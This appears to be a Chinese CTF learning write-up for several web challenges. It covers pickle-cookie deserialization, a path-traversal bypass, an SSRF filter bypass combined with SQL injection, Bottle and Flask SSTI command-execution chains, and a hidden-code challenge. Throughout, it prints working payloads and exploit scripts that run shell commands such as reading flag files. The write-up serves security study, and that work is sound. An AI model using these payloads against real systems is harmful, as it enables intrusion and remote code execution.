web
签到题:
考察点:文件包含,pickle反序列化(从pickle流的本质出发来构造)
又是一题没解出来,库亚西啊库亚西
又学到什么? 25.5.17
分析题目的思路(绕过登入类型题目)
1.想办法读出密钥

2.提到了cookie,就抓包看一下cookie


3.分析cookie

前半个是使用256加密:

1 | signature = base64.b64encode( |
**后半段是base64: ** (要注入的代码)

1 | b64pld = base64.b64encode(data) # 结果:KGNvcwpzeXN0ZW0KUydjYXQgL2ZsYWdfKiA+IGZsYWcnCm8u |
学到什么?
1.ctf的本质是是什么:通过漏洞,进行反弹shell,shell可大可小,大到监听,小到一句话便可查询flag,本质上都是执行命令
2.我们可以本地部署来测试代码:
1 | from bottle import Bottle, request |
这是一个简单代码来测试request.query.get是否能够编译我们的编码

事实证明,是不行的(早点发现就好了。。。。。)
3.可以利用ai,不能做题总是靠ai!要学会自己信息收集的能力!
1.解析代码:
1 | # -*- encoding: utf-8 -*- |
这段 Python 代码使用 bottle 框架构建了一个简单的 Web 应用,具备三个路由来处理不同请求,同时从文件读取密钥用于会话管理。以下是代码详细解释:
1 | # -*- encoding: utf-8 -*- |
首行指定文件编码为 UTF - 8,后续注释包含文件名称、编写时间、作者信息,最后的注释提示 flag 文件位于 /flag_{uuid4} 路径。
1 | from bottle import Bottle, request, response, redirect, static_file, run, route |
从 bottle 框架导入构建 Web 应用所需的模块和函数。
1 | with open('../../secret.txt', 'r') as f: |
使用 with 语句以只读模式打开 ../../secret.txt 文件,读取内容并赋值给变量 secret,该变量用于会话管理的密钥。
1 | app = Bottle() |
创建 Bottle 类的实例 app 代表整个 Web 应用。
1 |
|
使用 @route 装饰器定义根路径 / 的路由,当用户访问该路径时,调用 index 函数返回字符串 HI。
1 |
|
定义 /download 路由,当用户访问时调用 download 函数。从请求查询参数获取 filename 值,对其进行检查,若包含 ../../、**以 / 或 ../ 开头、包含反斜杠 \**,则将响应状态码设为 403 并返回 Forbidden;检查通过则以二进制只读模式打开文件,读取内容并返回。
1 |
|
定义 /secret 路由,当用户访问时调用 secret_page 函数。尝试从请求 cookie 中获取名为 name 的会话信息,使用 secret 作为密钥解密。若会话信息不存在或 name 为 guest,将会话信息设为 {"name": "guest"} 并写入响应 cookie,返回 Forbidden!;若 name 为 admin,返回 The secret has been deleted!;若处理过程中出现异常,返回 Error!。
1 | run(host='0.0.0.0', port=8080, debug=False) |
启动 Web 应用,监听 0.0.0.0 地址的 8080 端口,不开启调试模式。
看样子是:
1 | 1.在/download里成功绕过../读取到../../secret.txt文件 |
2.绕过尝试:
1.编码绕过:
1 | 1.多层URL编码尝试 失败 |
2.尝试参数污染
利用已知app.py可以访问尝试
1 | eci-2ze9y7npewuaff64gfp5.cloudeci1.ichunqiu.com:5000/download?filename=.../&filename=app.py |
3.符号隔断尝试:
1 | ?filename=app.py&../../secret.txt |
4.Header注入
1 | 失败 |
5.问别人:
1 | ./..//..//发现可以 |
构造恶意cookie:
1 | from bottle import route, run,response |
失败。。。。。
太,太,,太依赖ai了!!!!!!!!!
要监听时候使用的代码:
1 | from bottle import route, run,response |
错误构造:
exp:
1 | from bottle import route, run, response |
通过写入函数来读取
错在哪?
尽管你的代码里 __reduce__ 方法的返回值格式从表面看是正确的,但 lambda 函数的使用还是会引发问题。pickle 在处理返回值时,期望能够准确识别并处理可调用对象和参数。由于 lambda 函数难以序列化,pickle 无法正确处理返回值,从而导致序列化失败。
和JWT的不同
JWT 的结构(三部分,用 . 分隔)
1 | header.payload.signature |
1.写入代码配合文件包含:(从pickle流的本质出发)
了解pickle反序列化cookie的本质,手动写
1 | import hashlib |
- **
(c**:在pickle操作码中,(c表示接下来要加载一个全局对象(类或者函数)。 - **
os**:代表要加载的全局对象是os模块。 - **
system**:表示要调用os模块中的system函数,该函数用于执行系统命令。 - **
S'cat /flag_\* > flag'**:S是pickle中表示字符串的操作码,后面单引号内的cat /flag_* > flag是要执行的系统命令,其作用是将所有以flag_开头的文件内容输出到一个名为flag的文件中。 - **
o.**:o表示执行调用,.表示结束pickle流。
相当于从pickle流的本质出发来构造
仔细介绍HMAC的原理:
- HMAC(Hash-based Message Authentication Code)是一种基于哈希函数的消息认证码,用于验证数据完整性和真实性。
- 核心公式:
HMAC = Hash( (Key ⊕ opad) || Hash( (Key ⊕ ipad) || Message ) )。
1 | 人话:密钥 + 哈希算法 + 消息 |
这一题:
密钥(Key):
b"Hell0_H@cker_Y0u_A3r_Sm@r7",需与服务端一致。消息(Message):
b64pld(Base64编码后的Payload)。哈希算法:
hashlib.sha256,使用SHA-256算法生成256位哈希值。
return b'"!' + signature + b"?" + b64pld + b'"' 中的 b 是什么?
b前缀的含义:- 表示该字符串是 字节字符串(Bytes),而非普通文本字符串(Unicode)。
- 示例:
b"hello"是字节序列,"hello"是Unicode字符串。
- 为何使用字节字符串:
- 数据一致性:
signature和b64pld是Base64编码后的字节数据,拼接时需保持类型一致。 - 性能优化:字节操作无需编解码,效率更高。
- 数据一致性:
2.利用eval函数(官方wp)
1 | from bottle import cookie_encode |
Fate
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353
很难很难的SSRF + 二进制的SQL注入
源码解释:
1 | app = flask.Flask(__name__) |
- 功能:初始化Flask应用,并定义
blacklist为所有英文字母。 - 作用:后续在
/proxy路由中用于过滤包含字母的URL,防止潜在攻击。
1 |
|
从客户端请求中获取的
url参数拼接到http://lamentxu.top后面,从而形成一个完整的目标 URL。例如,如果客户端请求的url是/example,那么target_url就会是http://lamentxu.top/example。blacklist是在代码开头定义的,它包含了所有的英文字母(大小写)。通过一个
for循环遍历blacklist中的每个字母,检查url参数中是否包含这些字母。如果包含任何一个字母,就调用flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')返回 403 Forbidden 错误,表明客户端请求被拒绝,因为url参数包含了被禁止的字母。这样做的目的可能是为了防止某些恶意的输入或者特定的攻击。这检查
url参数中是否包含.字符。在网络请求中,.字符常常用于构造不同的域名或者路径,攻击者可能会利用这一点来进行服务器端请求伪造(SSRF)攻击。如果url参数中包含.字符,就返回 403 Forbidden 错误,提示No ssrf allowed,以此来防止潜在的 SSRF 攻击。
(查询name字段)
1 | def db_search(code): |
这段 Python 代码定义了一个名为 db_search 的函数,其功能是在 SQLite 数据库里查找与给定代码 code 对应的 FATE 字段值。数据库文件名为 database.db,表名为 FATETABLE。
UPPER() 函数的作用是将字符串转换为大写形式。这里多次嵌套使用 UPPER() 函数,实际上一次 UPPER() 函数调用就可以实现将字符串转换为大写的功能,多次嵌套是多余的。
1 |
|
flask.request.remote_addr可以获取到客户端的 IP 地址。这行代码检查客户端的 IP 地址是否为127.0.0.1,也就是本地回环地址。只有当客户端的 IP 地址是127.0.0.1时,才会继续处理请求;否则,会执行else分支,返回 403 Forbidden 错误,并提示 “Only local access allowed”,这是为了防止外部网络的用户访问该接口。flask.request.args是一个字典,包含了客户端通过 GET 请求发送的所有查询参数。get('0')尝试从这个字典中获取键为0的值。只有当查询参数
0的值等于'abcdefghi'时,才会继续处理请求;否则,会返回 400 Bad Request 错误,并提示 “Hello local, and hello hacker”。(人话:JSON的请求第一个为abcdefghi)
(查询键值1)
从查询参数中获取键为
1的值。然后,调用
binary_to_string函数将其从二进制字符串转换为普通字符串。接着,使用
json.loads函数将这个字符串解析为 JSON 对象。如果在转换或解析过程中出现异常(例如二进制字符串格式错误或 JSON 格式错误),会返回 400 Bad Request 错误,并提示 “Invalid JSON”。
调用
db_search函数,根据name字段的值在数据库中进行查询,获取对应的Fate信息。如果查询结果为
None,说明数据库中没有找到对应的记录,会返回 404 Not Found 错误,并提示 “No such Person”。
1 | 仅允许127.0.0.1访问。 |
转化JSON为二进制代码
1 | import binascii |
payload部分:
第一次构造(@绕过,127.0.0.1绕过)
(也可以试试看DNS 重绑定(DNS Rebinding),但是没遇到,就先不补充了)
通过**@来绕过**前面的 + 构造
由于不可以写点,于是使用十进制绕过
1 | 1.0x7F000001 ----八进制绕过 |
1 | /proxy?url=@2130706433:80/1337 |
搞半天,不懂哪里错了,老是返回500
实在不理解,于是去看了一下wp:(多尝试端口)
原来是我端口错了
1 | /proxy?url=@2130706433:8080/1337 |
第二次构造:(传入abcdef)
怎么样才能使0=abcdef可以传入呢?
二次编码!
1 | /proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569 |
- 第一次解码:
%2561→%61(此时%61仍然是编码形式,不包含字母a)。 - 过滤检查:
黑名单仅检查解码后的%61,未检测到字母a,允许通过。 - 第二次解码(某些框架自动进行):
%61→a,最终注入成功。
利用服务器可以多次解码来进行绕过

出现这个即是绕过第一次WAF了
第三次构造:(看wp的)
实在不明白为什么我的构造传入不行:
1 | import binascii |
1 | http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569&1=01111011001000100110111001100001011011010110010100100010001110100111101101001100010000010100110101000101010011100101010001011000010101010111110101111101 |
老是返回:

看wp:
1 | """{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}""" |
欸,怎么会这么长?
1 | import binascii |
官方答案:
1 | http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101 |
补充知识:
我在这里使用了&,而答案使用了%26我的答案无法返回答案,而答案可以返回,为什么呢?
深入研究!!
如果使用&
会被解析为独立参数,与 /proxy 路由无关,直接被丢弃
那么会被解析为两个部分:
1 | http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337 |
不是作为一个整体
使用%26
便会被视为一个整体传入:
1 | http://gz.imxbt.cn:20942//proxy?url=@017700000001:8080/1337 |
真是神奇,学到了!!!
ez_puzzle
考察点:开发者工具的使用
不会做。。。没有一点思路,只好去看wp了。
1.打开开发者工具:
正常会触发:( f12之类的 )

我们可以用火狐的更多工具打开:

打开出现:

怎么办?当然是把这个关了:(火狐)

这是edge

2.设置时间
既然要求在两秒,肯定是不可能的,
由于我不会拼图。。。。看wp知道需要修改alert

把小于改为大于:(需要在本地配置)
怎么配置啊。。。。不懂,有空问一下学长!
出题人已疯
考察点:Python 允许动态为模块添加属性,在OS模板里面一步一步增加新属性
学到什么别的东西?
1.payload 长度限制时通过分步骤更新config对象,将长表达式拆解为多个短语句,避免单次表达式过长(在config里面创造属性)
(虽然不是这一题的(Flask的))
config对象特性- 是 Flask 中用于存储配置信息的字典子类,可通过
app.config访问,支持字典操作(如update方法)。 - 核心思路:通过分步骤更新
config对象,将长表达式拆解为多个短语句,避免单次表达式过长。
- 是 Flask 中用于存储配置信息的字典子类,可通过
具体实现步骤
通过
set语句配合update方法逐步赋值1
2
3
4
5{%set x=config.update(a=config.update)%} <!-- 将config.update赋值给config.a -->
{%set x=config.a(f=lipsum.__globals__)%} <!-- 通过config.a(即update)设置f=lipsum.__globals__ -->
{%set x=config.a(o=config.f.os)%} <!-- 设置o=config.f.os(即lipsum.__globals__.os) -->
{%set x=config.a(p=config.o.popen)%} <!-- 设置p=config.o.popen(即os.popen) -->
{{config.p("cat /flag").read()}} <!-- 最终调用popen执行命令 -->
利用 Flask 模板引擎的特性,通过操作模板上下文的全局变量来获取执行系统命令的能力。具体来说,是通过config对象和lipsum函数的全局变量来获取os.popen函数,进而执行系统命令。
2.内存马是什么?
1 |
学习过程中的疑问
1,为什么输入\ppppp会回显500 ,输入\1111会回显1111呢
Bottle 的模板引擎在解析 时会执行以下操作:
有效表达式:如果内容是 合法且已定义的变量或字面量,会直接渲染结果。
1
2{{1111}} → 输出 "1111"(数字字面量直接渲染)
{{"hello"}} → 输出 "hello"(字符串字面量)未定义变量:如果内容是 未定义的变量或函数,会抛出
NameError导致 500 错误。1
2
3{{ppppp}} → 未定义变量 ppppp → 500 错误
{{os}} → 未导入 os 模块 → 500 错误
{{config}} → 500 错误(变量未定义或禁用)
2.为什么\config无法访问:
变量未暴露:Bottle 模板的默认上下文(context)未暴露敏感对象如 request、app、config。
Bottle 默认仅暴露部分内置对象(如 request 在路由处理中可用,但在模板中可能被限制)。沙箱限制:服务器可能配置了沙箱环境,禁止访问特定属性(如
__class__、__dict__)。
例如:访问config.__class__会触发沙箱的安全规则,直接拦截。异常未处理:当模板引擎尝试访问未定义的变量或受限属性时,会抛出
NameError或AttributeError,若服务器未捕获这些异常,会返回 500。
答案的wp:
1 | import requests |
以下是对这段 CTF 攻击代码的逐行深度解释,结合上下文逻辑和安全漏洞原理进行分析:
1. 导入requests库
1 | import requests |
- 作用:用于发送 HTTP 请求,与目标服务器交互。
- 背景:在 CTF 中,攻击脚本常通过 HTTP 请求传递恶意 Payload,
requests提供了简洁的接口来构造和发送 GET/POST 请求。
2. 定义目标 URL
1 | url = 'http://gz.imxbt.cn:20935/attack' |
- 目标解析:
- 协议:
http(明文传输,可能存在 SSTI 漏洞的服务)。 - 域名 / IP:
gz.imxbt.cn(比赛环境的临时域名)。 - 端口:
20935(非标准端口,可能是比赛中部署的靶机端口)。 - 路径:
/attack(具体的漏洞接口,用于接收 Payload 参数)。
- 协议:
- 关键:该 URL 是攻击的目标端点,需要存在服务器端模板注入(SSTI)漏洞才能被利用。
3. 构造恶意 Payload
1 | payload = "__import__('os').system('ls / >123')" |
Payload 功能:
__import__('os'):动态导入 Python 的os模块(等价于import os)。.system('ls / >123')1
2
3
4
5
6
7
8
9
10
11
12
:通过`os.system`执行系统命令`ls / >123`,作用是:
- `ls /`:列出根目录下的所有文件和目录(可能包含 Flag 文件)。
- `>123`:将命令输出重定向到当前目录的`123`文件中(无回显场景下通过文件存储结果)。
- **为什么不直接用`os.system`?**:在 SSTI 漏洞中,通常需要通过 Python 代码执行系统命令,`__import__('os')`是动态导入模块的方式,适用于模板环境中可能禁用直接导入的场景。
### 4. **拆分 Payload 为短片段**
```python
p = [payload[i:i+4] for i in range(0, len(payload), 4)]
拆分逻辑
- 将
payload按每 4 个字符一组拆分(如原 Payload 为"abcd1234",拆分为['abcd', '1234'])。 - 原因:题目可能限制单次请求的 Payload 长度(如≤25 字符),完整 Payload 长度超过限制,需拆分成多个短片段,通过多次请求拼接。
- 将
为什么是 4 个字符?:根据目标漏洞的长度限制动态调整,确保每个片段拼接后的请求参数(如
%import os;os.a+="xxxx")总长度不超限。
5. 初始化标志变量flag
1 | flag = True |
- 作用:标记是否为第一次发送拼接请求。
- 关键逻辑:第一次请求时需要初始化
os.a变量(赋值操作),后续请求只需追加片段(拼接操作),避免重复初始化导致之前的片段丢失。
6. 循环拼接 Payload 片段
1 | for i in p: |
逐行解析:
**
for i in p:**:遍历所有拆分后的片段(如['__im', 'port', ...])。首次请求(
flag=True):tmp = f'\n%import os;os.a="{i}"'1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
- `%import os`:假设目标模板引擎支持类似 Jinja2 的语法,用于导入 Python 模块(实际可能根据模板引擎调整,此处可能是利用漏洞直接执行 Python 代码)。
- `os.a = "{i}"`:将第一个片段赋值给`os模块`的自定义属性`a`(Python 允许动态为模块添加属性)。
- `flag = False`:标记后续请求不再是首次,**转为追加模式**。
- **后续请求(`flag=False`)**:
- `tmp = f'\n%import os;os.a+="{i}"'`:将当前片段追加到`os.a`中(如`os.a += "xxxx"`),逐步拼接完整的 Payload。
- **`r = requests.get(...)`**:
- 向目标 URL 发送 GET 请求,参数`payload=tmp`,将拼接逻辑传递给服务器执行。
- **本质**:通过多次请求,在服务器端的 Python 环境中逐步构建`os.a`为完整的恶意命令(如`__import__('os').system('ls / >123')`)。
### 7. **执行完整的恶意命令**
```python
r = requests.get(url, params={"payload": "\n%import os;eval(os.a)"})
核心操作
eval(os.a):执行os.a中存储的完整 Python 代码(即之前拼接的__import__('os').system('ls / >123'))。- 为什么需要单独请求?:拼接过程仅构建了
os.a变量,需通过单独的请求触发eval执行命令。
安全风险:
eval直接执行用户可控的代码,是 SSTI 漏洞的典型利用方式。
8. 读取重定向的文件内容
1 | r = requests.get(url, params={"payload": "\n%include('123')"}).text |
- 作用
%include('123'):假设模板引擎支持文件包含功能(如 Jinja2 的{% include %}),用于读取之前重定向生成的123文件。- 由于
ls /的输出被重定向到123,通过包含该文件可获取命令执行结果(如根目录下的文件列表,可能包含 Flag 文件)。
- 关键点:在无回显的命令执行场景中,通过文件重定向和文件包含获取输出是常见手法。
9. 打印结果
1 | print(r) |
- 功能:将读取到的
123文件内容(即ls /的输出)打印到控制台,显示目标服务器的文件列表,从中查找 Flag。
10.总结:
在 os.a 这个新的属性里面一次一次导入恶意代码,最后用 eval 读取执行 os.a 便会成功执行并且写入123 这个文件中,最后使用include读取123文件。
若是os被过滤
1 | import requests |
特殊的做法:
1 | %0a%include('app.py') |
为什么能读取 app.py?
- Bottle模板引擎的特性:
- Bottle的模板语法以
%开头,类似Python代码。 %include是模板指令,用于动态插入其他模板文件的内容。- 当模板解析到
%include('app.py')时,会直接读取app.py文件内容并嵌入到响应中。
- Bottle的模板语法以
- 路径解析:
- 默认情况下,Bottle从 当前工作目录 或 指定模板目录 中查找文件。
- 如果
app.py位于当前目录(即运行应用的路径),模板引擎可以正常找到并包含它。
为什么需要 %0a(换行符)?
- 绕过过滤规则:
- 源码中检查了
'open'关键字和\符号,但允许其他指令。 - 通过换行符
\n分割代码,确保%include是一个独立的模板指令,避免与其他代码冲突。 %0a不会被过滤,且帮助分隔逻辑,使%include被正确解析。
- 源码中检查了
1 | 仅允许访问 当前目录或子目录 |
now you see me
源码:
最开始只有一些print???后面全选发现有一行长的离谱:

1 | # -*- encoding: utf-8 -*- |
解码得到:
1 | # YOU FOUND ME ;) |